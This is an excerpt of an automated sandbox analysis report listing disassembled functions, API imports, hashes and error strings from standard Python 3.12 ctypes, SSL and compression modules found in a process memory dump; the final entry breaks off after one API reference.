Associated: 00000001.00000002.2090134264.00007FFE13210000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090170248.00007FFE13213000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090189636.00007FFE13215000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2090208895.00007FFE13216000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13210000_file.jbxd

Similarity

API ID: Dealloc$DescriptorErr_FastFileObject_Sequence_String
String ID: arguments 1-3 must be sequences$too many file descriptors in select()
API String ID: 3320488554-3996108163
Opcode ID: 663c9d7e54148f1ae31ea019f9802c07c2ccdac2675d68113b08dfc84bed29b7
Instruction ID: 259b51f6d4c0c9d70924ad4c58164eb310b5d8ddcecea4de8e9e576e96464444
Opcode Fuzzy Hash: 663c9d7e54148f1ae31ea019f9802c07c2ccdac2675d68113b08dfc84bed29b7
Instruction Fuzzy Hash: 7841AD76A08F0289EB14AF16EA4413937A1FBE5BB0F144271EA5E537E6DF38E452C300

Function 00007FFE13382740 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

PyLong_FromLong.PYTHON312 ref: 00007FFE133877D6
PyObject_CallFunction.PYTHON312 ref: 00007FFE133877EF
_Py_Dealloc.PYTHON312 ref: 00007FFE133877FE
PyObject_CallOneArg.PYTHON312 ref: 00007FFE13387831
_PyTraceback_Add.PYTHON312 ref: 00007FFE13387853
_Py_Dealloc.PYTHON312 ref: 00007FFE13387867

Strings

_ctypes/callproc.c, xrefs: 00007FFE13387845
GetResult, xrefs: 00007FFE1338784C

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: CallDeallocObject_$FromFunctionLongLong_Traceback_
String ID: GetResult$_ctypes/callproc.c
API String ID: 2301701745-4166898048
Opcode ID: cc4e3d39c575c9900793a7d54ab678656fecea8a3663a876c4c19e595d6a4679
Instruction ID: a821f62c6246b4297e0a1a6b92d37e43d55776728a240e94578e9a3c56fa00b2
Opcode Fuzzy Hash: cc4e3d39c575c9900793a7d54ab678656fecea8a3663a876c4c19e595d6a4679
Instruction Fuzzy Hash: 86313321E09E0289EA159B17E41427D22A1AF65BE1F0855F4E92F66FB5DE2CE4818308

Function 00007FFE1338A5E8 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

PyObject_IsInstance.PYTHON312(?,?,00000000,00007FFE13389338), ref: 00007FFE1338A603
PyObject_IsInstance.PYTHON312(?,?,00000000,00007FFE13389338), ref: 00007FFE1338A640
_PyObject_LookupAttr.PYTHON312(?,?,00000000,00007FFE13389338), ref: 00007FFE1338A694
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13389338), ref: 00007FFE1338A6C3
PyErr_Format.PYTHON312(?,?,00000000,00007FFE13389338), ref: 00007FFE1338A6E8

Strings

expected %s instance instead of pointer to %s, xrefs: 00007FFE1338A675
expected %s instance instead of %s, xrefs: 00007FFE1338A6CF
???, xrefs: 00007FFE1338A66E

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Object_$Instance$AttrDeallocErr_FormatLookup
String ID: ???$expected %s instance instead of %s$expected %s instance instead of pointer to %s
API String ID: 1373686093-1082101171
Opcode ID: bd08bb944fd2c8a8d5021679839190f5999f4daa6c1677e30f3ba47cb696d5e9
Instruction ID: d135f5ed989ea95c199a625f9d6c39c68cc85e22b5f8cc120bd7d0d3cdd0cd56
Opcode Fuzzy Hash: bd08bb944fd2c8a8d5021679839190f5999f4daa6c1677e30f3ba47cb696d5e9
Instruction Fuzzy Hash: 2731FE61E08E4689FB548F17954417D2361EF64FA4F5442F1DA2EA7BB8DF3CE4828348

Function 00007FFE1338ECA4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON312 ref: 00007FFE1338ECD4
PyObject_VectorcallMethod.PYTHON312 ref: 00007FFE1338ED11
PyObject_GetAttr.PYTHON312 ref: 00007FFE1338ED30
PyObject_Call.PYTHON312 ref: 00007FFE1338ED49
_Py_Dealloc.PYTHON312 ref: 00007FFE1338ED60
_Py_Dealloc.PYTHON312 ref: 00007FFE1338ED79
_Py_Dealloc.PYTHON312 ref: 00007FFE1338ED92

Strings

OO!, xrefs: 00007FFE1338ECCD

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: DeallocObject_$Arg_AttrCallMethodParseTupleVectorcall
String ID: OO!
API String ID: 1421981024-3205451899
Opcode ID: cdbb6b2b6f727f35159244e06fbfdb12f26bbd9b24e1bf2373bd3db61a6bcebb
Instruction ID: ed266a55ca2ad2deecab6385ed1d79d6aa09b9d311aa43feafbd3b0f0d97da48
Opcode Fuzzy Hash: cdbb6b2b6f727f35159244e06fbfdb12f26bbd9b24e1bf2373bd3db61a6bcebb
Instruction Fuzzy Hash: 2D316B32E09E02C9EB109F17E84472D23A1EF69BE4F4441B4DA6E66B74DE3CE4888304

Function 00007FFE11ECA77C Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

_PyArg_UnpackKeywords.PYTHON312 ref: 00007FFE11ECA7CD
_PyArg_BadArgument.PYTHON312 ref: 00007FFE11ECA806
PyUnicode_AsUTF8AndSize.PYTHON312 ref: 00007FFE11ECA813
PyErr_SetString.PYTHON312 ref: 00007FFE11ECA845

Strings

embedded null character, xrefs: 00007FFE11ECA83B
str, xrefs: 00007FFE11ECA7F1
argument 'store_name', xrefs: 00007FFE11ECA7FF
enum_crls, xrefs: 00007FFE11ECA7F8

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Arg_$ArgumentErr_KeywordsSizeStringUnicode_Unpack
String ID: argument 'store_name'$embedded null character$enum_crls$str
API String ID: 2966986319-2641223161
Opcode ID: 9207a620bc1de7acd13296e7cd5c7201cb4edf894e6892fb78226e170a4e9249
Instruction ID: 9d25e560fd22f8613ac1b4280d94b6e7e5f05e7006202615144109c810a0251e
Opcode Fuzzy Hash: 9207a620bc1de7acd13296e7cd5c7201cb4edf894e6892fb78226e170a4e9249
Instruction Fuzzy Hash: 26215C62A08E0286EF148B96EC4466BA3A9BB84BA0F840176DD1E023B4EF3DF445C700

Function 00007FFE1338E3B4 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE1338E3F4
PyTuple_New.PYTHON312 ref: 00007FFE1338E413
PyLong_FromSsize_t.PYTHON312 ref: 00007FFE1338E436
PyErr_Occurred.PYTHON312 ref: 00007FFE1338E450
_Py_Dealloc.PYTHON312 ref: 00007FFE1338E469
Py_BuildValue.PYTHON312 ref: 00007FFE1338E489

Strings

siN, xrefs: 00007FFE1338E478
not a ctypes type or object, xrefs: 00007FFE1338E3EA

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$BuildDeallocFromLong_OccurredSsize_tStringTuple_Value
String ID: not a ctypes type or object$siN
API String ID: 1444022424-92050270
Opcode ID: d7055da2a119d88ceb2ff42942c99204b34661d58e5de46987f9404024105068
Instruction ID: a79b7ae792414db1c1e17ae0855eb75fa49ff4b1c3ef4840455de3e5124f9ee0
Opcode Fuzzy Hash: d7055da2a119d88ceb2ff42942c99204b34661d58e5de46987f9404024105068
Instruction Fuzzy Hash: 88215121E09F42C6EA588B27E54027D63A1FF64BA4F0441B4CA2F63B74DF3CE4958318

Function 00007FFE11EC937C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

SSL_is_init_finished.LIBSSL-3(?,?,00000000,00007FFE11EC935A), ref: 00007FFE11EC9394
PyErr_SetString.PYTHON312(?,?,00000000,00007FFE11EC935A), ref: 00007FFE11EC93AF
SSL_get1_peer_certificate.LIBSSL-3(?,?,00000000,00007FFE11EC935A), ref: 00007FFE11EC93BD

Strings

handshake not done yet, xrefs: 00007FFE11EC93A5

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Err_L_get1_peer_certificateL_is_init_finishedString
String ID: handshake not done yet
API String ID: 1333720006-2620869922
Opcode ID: 121f75b62306baad1dd765cf832d8146bcb92f6b7aa344bdea852c4768c8d04c
Instruction ID: 4daa109651f56090cf2883bd04e52a0b52f5e8bb679a671e31b4d243c08ad7b1
Opcode Fuzzy Hash: 121f75b62306baad1dd765cf832d8146bcb92f6b7aa344bdea852c4768c8d04c
Instruction Fuzzy Hash: 5511BF25A08E4281EB149B97ED5427EA368FF94FA4B9450B1D90E87774EF2DF8518340

Function 00007FFE11EA2690 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFE11EA26BA
PyObject_GetBuffer.PYTHON312 ref: 00007FFE11EA26CA
PyBuffer_IsContiguous.PYTHON312 ref: 00007FFE11EA26DB
PyBuffer_Release.PYTHON312 ref: 00007FFE11EA2706
_PyArg_BadArgument.PYTHON312 ref: 00007FFE11EAB45A

Part of subcall function 00007FFE11EA25FC: PyThread_acquire_lock.PYTHON312 ref: 00007FFE11EA261F
Part of subcall function 00007FFE11EA25FC: PyThread_release_lock.PYTHON312 ref: 00007FFE11EA264B

Strings

argument, xrefs: 00007FFE11EAB44C
contiguous buffer, xrefs: 00007FFE11EAB445
compress, xrefs: 00007FFE11EAB453

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: Buffer_$Arg_ArgumentBufferContiguousObject_ReleaseThread_acquire_lockThread_release_lockmemset
String ID: argument$compress$contiguous buffer
API String ID: 1731275941-2310704374
Opcode ID: 14121d2eb2f0784b8e94f491fcd0c9020d2f8b8e0951888bcb593b8e05aee52d
Instruction ID: 22ecdc50ae66bfd91ad0a4ec765f6a1e7fc8bfa824cd32c8dc8452ae2dfab4ed
Opcode Fuzzy Hash: 14121d2eb2f0784b8e94f491fcd0c9020d2f8b8e0951888bcb593b8e05aee52d
Instruction Fuzzy Hash: 21118E22A18F9281EB108B66FC502BA63A8FB88F90F548171DA4D53674EF3CE649C700

Function 00007FFE102484D0 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFE102484FA
PyObject_GetBuffer.PYTHON312 ref: 00007FFE1024850A
PyBuffer_IsContiguous.PYTHON312 ref: 00007FFE1024851B
PyBuffer_Release.PYTHON312 ref: 00007FFE10248546
_PyArg_BadArgument.PYTHON312 ref: 00007FFE10254D8A

Part of subcall function 00007FFE10249010: PyThread_acquire_lock.PYTHON312(?,?,?,00007FFE10248536), ref: 00007FFE10249036
Part of subcall function 00007FFE10249010: PyThread_release_lock.PYTHON312(?,?,?,00007FFE10248536), ref: 00007FFE10249068

Strings

contiguous buffer, xrefs: 00007FFE10254D75
argument, xrefs: 00007FFE10254D7C
compress, xrefs: 00007FFE10254D83

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Buffer_$Arg_ArgumentBufferContiguousObject_ReleaseThread_acquire_lockThread_release_lockmemset
String ID: argument$compress$contiguous buffer
API String ID: 1731275941-2310704374
Opcode ID: e49fcee8418d40925be70ffaeb55ce411285ea8029e7bf477f1f0c24e54d7857
Instruction ID: ced523c753a5b1e6771b9b79ce0943868cf876d327474bf82cef19b5b89ad987
Opcode Fuzzy Hash: e49fcee8418d40925be70ffaeb55ce411285ea8029e7bf477f1f0c24e54d7857
Instruction Fuzzy Hash: 09115162B18E8691EB108B27E4442B96760FBC8BA4F948171DB4D93776EFBCD546C700

Function 00007FFE11EC9DC4 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFE11EC9DEE
PyObject_GetBuffer.PYTHON312 ref: 00007FFE11EC9DFE
PyBuffer_IsContiguous.PYTHON312 ref: 00007FFE11EC9E0F
_PyArg_BadArgument.PYTHON312 ref: 00007FFE11EC9E31
PyBuffer_Release.PYTHON312 ref: 00007FFE11EC9E56

Strings

argument, xrefs: 00007FFE11EC9E23
write, xrefs: 00007FFE11EC9E2A
contiguous buffer, xrefs: 00007FFE11EC9E1C

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Buffer_$Arg_ArgumentBufferContiguousObject_Releasememset
String ID: argument$contiguous buffer$write
API String ID: 365628853-2056178395
Opcode ID: 59be1726feed64141c1fbff6e87f7ff7e1f4b4ee85d08b88edc3f257f6c53196
Instruction ID: 062cbbda59213b7c3560d3e10cfbe0152b4797ef042850fedad726de902ace79
Opcode Fuzzy Hash: 59be1726feed64141c1fbff6e87f7ff7e1f4b4ee85d08b88edc3f257f6c53196
Instruction Fuzzy Hash: 17119326B08E4291EB10CBA7EC403BA63A5FB98BD4F9441B1D94D43674EF3DEA45CB40

Function 00007FFE11EC6FB4 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFE11EC6FDE
PyObject_GetBuffer.PYTHON312 ref: 00007FFE11EC6FEE
PyBuffer_IsContiguous.PYTHON312 ref: 00007FFE11EC6FFF
_PyArg_BadArgument.PYTHON312 ref: 00007FFE11EC7021
PyBuffer_Release.PYTHON312 ref: 00007FFE11EC7046

Strings

_set_alpn_protocols, xrefs: 00007FFE11EC701A
argument, xrefs: 00007FFE11EC7013
contiguous buffer, xrefs: 00007FFE11EC700C

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Buffer_$Arg_ArgumentBufferContiguousObject_Releasememset
String ID: _set_alpn_protocols$argument$contiguous buffer
API String ID: 365628853-4024966138
Opcode ID: 0f8ef274a15ae6c3c0d43067f1a6bd1b6b662e03dda108eddf97415fca001b63
Instruction ID: fb778fc223c5602d6af1d357661f65fe53b65fe476e03943ca74294a88982203
Opcode Fuzzy Hash: 0f8ef274a15ae6c3c0d43067f1a6bd1b6b662e03dda108eddf97415fca001b63
Instruction Fuzzy Hash: FA118126A18E8291EB10CB67EC403BA6365FB88BD4F9481B1D94D43674EE3DEA45C740

Function 00007FFE11EC6C08 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON312(?,?,?,?,00000000,00007FFE11EC6B96), ref: 00007FFE11EC6C2E
PyType_GetModule.PYTHON312(?,?,?,?,00000000,00007FFE11EC6B96), ref: 00007FFE11EC6C46
PyModule_GetState.PYTHON312(?,?,?,?,00000000,00007FFE11EC6B96), ref: 00007FFE11EC6C54
PyErr_SetString.PYTHON312(?,?,?,?,00000000,00007FFE11EC6B96), ref: 00007FFE11EC6C65
BIO_write.LIBCRYPTO-3(?,?,?,?,00000000,00007FFE11EC6B96), ref: 00007FFE11EC6C78
PyType_GetModuleState.PYTHON312(?,?,?,?,00000000,00007FFE11EC6B96), ref: 00007FFE11EC6C86

Part of subcall function 00007FFE11EC6598: ERR_peek_last_error.LIBCRYPTO-3 ref: 00007FFE11EC65B0
Part of subcall function 00007FFE11EC6598: ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC65D9

Strings

string longer than %d bytes, xrefs: 00007FFE11EC6C24
cannot write() after write_eof(), xrefs: 00007FFE11EC6C5A

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Err_ModuleStateType_$FormatModule_O_writeR_clear_errorR_peek_last_errorString
String ID: cannot write() after write_eof()$string longer than %d bytes
API String ID: 11717643-118187971
Opcode ID: 06f92be71100825d3c9ea8ef4fd01e99e9863292e6d6d958c220cbc8e2b7e9d0
Instruction ID: eeb0a16ecf523e43fd7ebeae56e73915cb6957e36d44b86cade3492aa33cd532
Opcode Fuzzy Hash: 06f92be71100825d3c9ea8ef4fd01e99e9863292e6d6d958c220cbc8e2b7e9d0
Instruction Fuzzy Hash: B7112B65E19E0682EF189BA6DC5067A63A8FF88B64B944470C91E47770DE3EF486CB40

Function 00007FFE1338A890 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE1338A8B2
PyObject_GetBuffer.PYTHON312 ref: 00007FFE1338A8C8
PyErr_SetString.PYTHON312 ref: 00007FFE1338A8EE
PyBuffer_Release.PYTHON312 ref: 00007FFE1338A8F9
memcpy.VCRUNTIME140 ref: 00007FFE1338A90A
PyBuffer_Release.PYTHON312 ref: 00007FFE1338A914

Strings

cannot delete attribute, xrefs: 00007FFE1338A8A8
byte string too long, xrefs: 00007FFE1338A8E4

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Buffer_Err_ReleaseString$BufferObject_memcpy
String ID: byte string too long$cannot delete attribute
API String ID: 1128862751-688604938
Opcode ID: 20be1be639a0ae2622eaa5e05d7b683686436ccb1cfd5e397a56718f2fa90c67
Instruction ID: 807ce6ff277ebdc12ca05e77899183e2c0f3b3f6f73ad8e0b7b2bb1d722afed6
Opcode Fuzzy Hash: 20be1be639a0ae2622eaa5e05d7b683686436ccb1cfd5e397a56718f2fa90c67
Instruction Fuzzy Hash: E8015261E18D07C5FB109B17D84007C2361FFA8BB5F5006B1C97EA6A74DF2CD5868704

Function 00007FFE11EC9968 Relevance: 13.6, APIs: 9, Instructions: 79COMMON

Download Yara Rule

APIs

SSL_get_ciphers.LIBSSL-3 ref: 00007FFE11EC9994
SSL_get_client_ciphers.LIBSSL-3 ref: 00007FFE11EC99AA
OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE11EC99BF
PyList_New.PYTHON312 ref: 00007FFE11EC99C8
OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE11EC99DD
OPENSSL_sk_value.LIBCRYPTO-3 ref: 00007FFE11EC99EF
OPENSSL_sk_find.LIBCRYPTO-3 ref: 00007FFE11EC99FE
OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE11EC9A28
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC9A4C

Part of subcall function 00007FFE11ECB384: PyTuple_New.PYTHON312 ref: 00007FFE11ECB396
Part of subcall function 00007FFE11ECB384: SSL_CIPHER_get_name.LIBSSL-3 ref: 00007FFE11ECB3AB
Part of subcall function 00007FFE11ECB384: SSL_CIPHER_get_version.LIBSSL-3 ref: 00007FFE11ECB3DD
Part of subcall function 00007FFE11ECB384: SSL_CIPHER_get_bits.LIBSSL-3 ref: 00007FFE11ECB411
Part of subcall function 00007FFE11ECB384: PyLong_FromLong.PYTHON312 ref: 00007FFE11ECB419

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: L_sk_num$DeallocFromL_get_ciphersL_get_client_ciphersL_sk_findL_sk_valueList_LongLong_R_get_bitsR_get_nameR_get_versionTuple_
String ID:
API String ID: 1361062010-0
Opcode ID: e6747978d85385ee8664d065162e242e3656c638aeba04cf87427d753b00fa66
Instruction ID: 9d57265aa9eb331f4f09fff4018459c27a5dd0de4e4823f944917a204e043cf4
Opcode Fuzzy Hash: e6747978d85385ee8664d065162e242e3656c638aeba04cf87427d753b00fa66
Instruction Fuzzy Hash: 6E311821A09F4281EF149BA7AD5433A62A8BF45FE1B8404B5CE4E47774FE3EF4458340

Function 00007FFE1025246C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

PyBytes_FromStringAndSize.PYTHON312(?,?,?,?,?,?,?,00000000,?,?,?,00007FFE10248041), ref: 00007FFE102524B8
